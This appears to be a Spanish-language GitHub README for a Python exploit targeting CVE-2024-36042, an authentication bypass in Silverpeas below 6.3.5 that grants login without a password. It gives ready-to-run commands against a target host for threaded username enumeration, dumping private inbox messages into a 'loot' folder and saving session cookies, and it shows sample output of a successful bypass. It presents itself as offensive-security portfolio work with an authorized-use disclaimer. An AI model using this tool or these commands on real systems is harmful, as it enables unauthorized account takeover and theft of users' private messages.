
PoC en Python para la omisión de autenticación CVE-2024-36042 en Silverpeas < 6.3.5. Incluye detección de versiones, enumeración de usuarios multihilo, extracción de mensajes y generación de informes estructurados para pruebas de seguridad autorizadas.
Una prueba de concepto limpia y de nivel profesional en Python3 para CVE-2024-36042 — un bypass de autenticación en Silverpeas < 6.3.5 causado por la falta de validación de contraseña en
AuthenticationServlet.
Silverpeas AuthenticationServlet acepta una solicitud de inicio de sesión incluso cuando el parámetro Password se omite del cuerpo POST, otorgando acceso de sesión autenticado a cualquier nombre de usuario conocido. Esta herramienta demuestra la vulnerabilidad de manera responsable a través de un marco de explotación modular y con hilos que incluye reconocimiento avanzado, extracción de datos y generación de informes profesionales.
Afectado: Silverpeas < 6.3.5
CVE: CVE-2024-36042
GHSA: GHSA-qvh3-8c57-gp4m
| Característica | Descripción |
|---|---|
| Detección de versión | Identificar la versión de Silverpeas y el estado de vulnerabilidad antes de la explotación. |
| Multihilo | Enumeración concurrente de usuarios mediante ThreadPoolExecutor con salida segura para hilos. |
| Descubrimiento avanzado | Descubrimiento de endpoints multilingüe (inglés/francés) con sondeo de múltiples ID. |
| Extracción de datos | Volcado de mensajes de alta fidelidad con deduplicación y filtrado de contenido repetitivo. |
| Salida flexible | Soporte para consola, informes Markdown y exportación de archivos individuales (.md o .txt). |
| Proxy y depuración | Enrutar a través de Burp/ZAP (--proxy) y guardar HTML sin procesar para depuración del analizador. |
| UX limpia | Tablas de resumen ASCII, resaltado de palabras clave y control opcional de color ANSI. |
git clone https://github.com/YOURNAME/Silverpeas-AuthBypass-CVE-2024-36042.git
cd Silverpeas-AuthBypass-CVE-2024-36042
pip install requests beautifulsoup4
python3 CVE-2024-36042.py -t http://TARGET:8080 --dump-messages
python3 CVE-2024-36042.py -t http://TARGET:8080 -u admin --dump-messages --message-output both
python3 CVE-2024-36042.py -t http://TARGET:8080 --userlist users.txt --dump-messages --message-output files --output-format md --outdir ./loot
python3 CVE-2024-36042.py -t http://TARGET:8080 --check-version --no-exploit
python3 CVE-2024-36042.py -t http://TARGET:8080 --proxy http://127.0.0.1:8080 --dump-messages --save-raw-html
La herramienta soporta cuatro modos de salida principales para los mensajes volcados mediante --message-output:
console (Predeterminado): Imprime los mensajes limpios directamente en la terminal con resaltado de palabras clave.markdown: Genera un único informe {username}_messages.md por cuenta en el directorio de salida.files: Crea una carpeta por cuenta y guarda cada mensaje como un archivo individual (ej., message_0006.md) con IDs rellenados con ceros para un orden limpio en el sistema de archivos.both: Combina los modos console y markdown.outdir/
├── SilverAdmin/
│ ├── message_0001.md
│ ├── message_0002.md
│ ├── raw/ (optional: --save-raw-html)
│ │ └── msg_1.html
│ └── session_cookies.txt
├── scr1ptkiddy/
│ ├── messages.md
│ └── session_cookies.txt
└── summary.json
-t, --target Base URL of Silverpeas (required)
-u, --user Single username to target
--userlist File with one username per line
--dump-messages Scrape and display inbox messages
--max-id Max message ID to check (default: 50)
--threads Concurrent workers (default: 5)
--proxy HTTP proxy URL
--message-output Output mode: {console, markdown, files, both}
--output-format File format: {md, txt}
--json Export full JSON report
--csv Export CSV of scraped messages
--outdir Output directory for exports
--no-color Disable ANSI color output (useful for logs)
--save-raw-html Save original HTML responses for debugging
--check-version Fingerprint version only
--no-exploit Skip exploitation (pair with --check-version)
--quiet, -q Minimal output
--no-banner Suppress banner
[*] Target : http://10.49.169.44:8080
[*] Version : 6.3.1
[+] Version 6.3.1 < 6.3.5 - vulnerable.
[*] Trying: scr1ptkiddy
[+] BYPASSED -> scr1ptkiddy
[+] Data saved to ./scr1ptkiddy
────────────────────────────────────────────────────────────────────
Execution Summary
────────────────────────────────────────────────────────────────────
┌───────────────┬──────────┬──────────┐
│ Account │ Status │ Messages │
├───────────────┼──────────┼──────────┤
│ scr1ptkiddy │ SUCCESS │ 6 │
│ admin │ FAILED │ 0 │
└───────────────┴──────────┴──────────┘
[+] JSON report -> ./report_20260516_013210.json
Este repositorio es parte de mi portafolio de seguridad ofensiva. Demuestra:
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas, investigación y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Siempre obtenga permiso explícito antes de probar cualquier infraestructura que no posea.
MIT